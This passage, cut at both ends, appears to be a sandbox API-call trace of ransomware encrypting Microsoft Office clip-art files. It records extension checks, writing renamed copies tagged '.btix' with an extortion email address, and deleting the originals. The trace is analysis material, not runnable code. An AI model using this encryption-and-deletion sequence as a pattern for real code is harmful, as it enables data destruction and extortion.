(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.711] lstrlenW (lpString=".doc") returned 4 [0135.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.711] lstrlenW (lpString=".docx") returned 5 [0135.711] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0135.711] lstrlenW (lpString=".pdf") returned 4 [0135.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.711] lstrlenW (lpString=".xls") returned 4 [0135.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.711] lstrlenW (lpString=".xlsx") returned 5 [0135.711] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0135.711] lstrlenW (lpString=".ppt") returned 4 [0135.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.711] lstrlenW (lpString=".zip") returned 4 [0135.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.711] lstrlenW (lpString=".rar") returned 4 [0135.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.711] lstrlenW (lpString=".bz2") returned 4 [0135.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.711] lstrlenW (lpString=".7z") returned 3 [0135.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.711] lstrlenW (lpString=".dbf") returned 4 [0135.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.711] lstrlenW (lpString=".1cd") returned 4 [0135.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.711] lstrlenW (lpString=".jpg") returned 4 [0135.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.712] lstrlenW (lpString=".doc") returned 4 [0135.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.712] lstrlenW (lpString=".docx") returned 5 [0135.712] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0135.712] lstrlenW (lpString=".pdf") returned 4 [0135.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.712] lstrlenW (lpString=".xls") returned 4 [0135.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.712] lstrlenW (lpString=".xlsx") returned 5 [0135.712] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0135.712] lstrlenW (lpString=".ppt") returned 4 [0135.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.712] lstrlenW (lpString=".zip") returned 4 [0135.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.712] lstrlenW (lpString=".rar") returned 4 [0135.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.712] lstrlenW (lpString=".bz2") returned 4 [0135.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.712] lstrlenW (lpString=".7z") returned 3 [0135.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.712] lstrlenW (lpString=".dbf") returned 4 [0135.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.712] lstrlenW (lpString=".1cd") returned 4 [0135.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.713] lstrlenW (lpString=".jpg") returned 4 [0135.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.713] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0135.713] lstrlenW (lpString="J0090087.WMF") returned 12 [0135.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0135.721] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=46936) returned 1 [0135.721] CloseHandle (hObject=0x4c4) returned 1 [0135.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0135.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0135.722] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.722] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0135.722] GetLastError () returned 0x0 [0135.722] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xb758, lpOverlapped=0x0) returned 1 [0135.731] WriteFile (in: hFile=0x4dc, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xb760, lpOverlapped=0x0) returned 1 [0135.732] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.732] WriteFile (in: hFile=0x4dc, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0135.733] SetEndOfFile (hFile=0x4dc) returned 1 [0135.733] CloseHandle (hObject=0x4dc) returned 1 [0135.733] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.733] SetEndOfFile (hFile=0x4c4) returned 1 [0135.735] CloseHandle (hObject=0x4c4) returned 1 [0135.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0135.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.736] lstrlenW (lpString=".doc") returned 4 [0135.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.736] lstrlenW (lpString=".docx") returned 5 [0135.736] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0135.736] lstrlenW (lpString=".pdf") returned 4 [0135.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.736] lstrlenW (lpString=".xls") returned 4 [0135.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.736] lstrlenW (lpString=".xlsx") returned 5 [0135.736] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0135.736] lstrlenW (lpString=".ppt") returned 4 [0135.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.736] lstrlenW (lpString=".zip") returned 4 [0135.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.736] lstrlenW (lpString=".rar") returned 4 [0135.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.736] lstrlenW (lpString=".bz2") returned 4 [0135.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.737] lstrlenW (lpString=".7z") returned 3 [0135.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.737] lstrlenW (lpString=".dbf") returned 4 [0135.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.737] lstrlenW (lpString=".1cd") returned 4 [0135.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.737] lstrlenW (lpString=".jpg") returned 4 [0135.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.737] lstrlenW (lpString=".doc") returned 4 [0135.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.737] lstrlenW (lpString=".docx") returned 5 [0135.737] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0135.737] lstrlenW (lpString=".pdf") returned 4 [0135.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.737] lstrlenW (lpString=".xls") returned 4 [0135.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.737] lstrlenW (lpString=".xlsx") returned 5 [0135.737] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0135.737] lstrlenW (lpString=".ppt") returned 4 [0135.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.737] lstrlenW (lpString=".zip") returned 4 [0135.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.737] lstrlenW (lpString=".rar") returned 4 [0135.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.737] lstrlenW (lpString=".bz2") returned 4 [0135.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.737] lstrlenW (lpString=".7z") returned 3 [0135.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.738] lstrlenW (lpString=".dbf") returned 4 [0135.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.738] lstrlenW (lpString=".1cd") returned 4 [0135.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0135.738] lstrlenW (lpString=".jpg") returned 4 [0135.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.738] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0135.738] lstrlenW (lpString="J0090149.WMF") returned 12 [0135.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0135.738] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=28212) returned 1 [0135.738] CloseHandle (hObject=0x4c4) returned 1 [0135.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0135.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0135.739] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.739] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0135.740] GetLastError () returned 0x0 [0135.740] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x6e34, lpOverlapped=0x0) returned 1 [0135.750] WriteFile (in: hFile=0x4dc, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x6e40, lpOverlapped=0x0) returned 1 [0135.751] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.751] WriteFile (in: hFile=0x4dc, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0135.751] SetEndOfFile (hFile=0x4dc) returned 1 [0135.751] CloseHandle (hObject=0x4dc) returned 1 [0135.752] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.752] SetEndOfFile (hFile=0x4c4) returned 1 [0135.754] CloseHandle (hObject=0x4c4) returned 1 [0135.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0135.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.755] lstrlenW (lpString=".doc") returned 4 [0135.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.755] lstrlenW (lpString=".docx") returned 5 [0135.755] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0135.755] lstrlenW (lpString=".pdf") returned 4 [0135.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.755] lstrlenW (lpString=".xls") returned 4 [0135.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.755] lstrlenW (lpString=".xlsx") returned 5 [0135.755] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0135.755] lstrlenW (lpString=".ppt") returned 4 [0135.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.756] lstrlenW (lpString=".zip") returned 4 [0135.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.756] lstrlenW (lpString=".rar") returned 4 [0135.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.756] lstrlenW (lpString=".bz2") returned 4 [0135.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.756] lstrlenW (lpString=".7z") returned 3 [0135.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.756] lstrlenW (lpString=".dbf") returned 4 [0135.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.756] lstrlenW (lpString=".1cd") returned 4 [0135.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.756] lstrlenW (lpString=".jpg") returned 4 [0135.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.756] lstrlenW (lpString=".doc") returned 4 [0135.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.756] lstrlenW (lpString=".docx") returned 5 [0135.756] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0135.756] lstrlenW (lpString=".pdf") returned 4 [0135.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.756] lstrlenW (lpString=".xls") returned 4 [0135.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.756] lstrlenW (lpString=".xlsx") returned 5 [0135.756] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0135.756] lstrlenW (lpString=".ppt") returned 4 [0135.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.756] lstrlenW (lpString=".zip") returned 4 [0135.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.757] lstrlenW (lpString=".rar") returned 4 [0135.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.757] lstrlenW (lpString=".bz2") returned 4 [0135.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.757] lstrlenW (lpString=".7z") returned 3 [0135.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.757] lstrlenW (lpString=".dbf") returned 4 [0135.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.757] lstrlenW (lpString=".1cd") returned 4 [0135.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0135.757] lstrlenW (lpString=".jpg") returned 4 [0135.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.757] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0135.757] lstrlenW (lpString="J0090777.WMF") returned 12 [0135.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0135.768] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3332) returned 1 [0135.768] CloseHandle (hObject=0x4c4) returned 1 [0135.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0135.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0135.769] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.769] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.994] GetLastError () returned 0x0 [0135.994] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xd04, lpOverlapped=0x0) returned 1 [0135.996] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xd10, lpOverlapped=0x0) returned 1 [0135.996] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.997] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0135.997] SetEndOfFile (hFile=0x390) returned 1 [0135.997] CloseHandle (hObject=0x390) returned 1 [0135.997] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.997] SetEndOfFile (hFile=0x4c4) returned 1 [0135.999] CloseHandle (hObject=0x4c4) returned 1 [0135.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0136.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.002] lstrlenW (lpString=".doc") returned 4 [0136.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.002] lstrlenW (lpString=".docx") returned 5 [0136.002] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0136.002] lstrlenW (lpString=".pdf") returned 4 [0136.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.002] lstrlenW (lpString=".xls") returned 4 [0136.002] lstrcmpiW 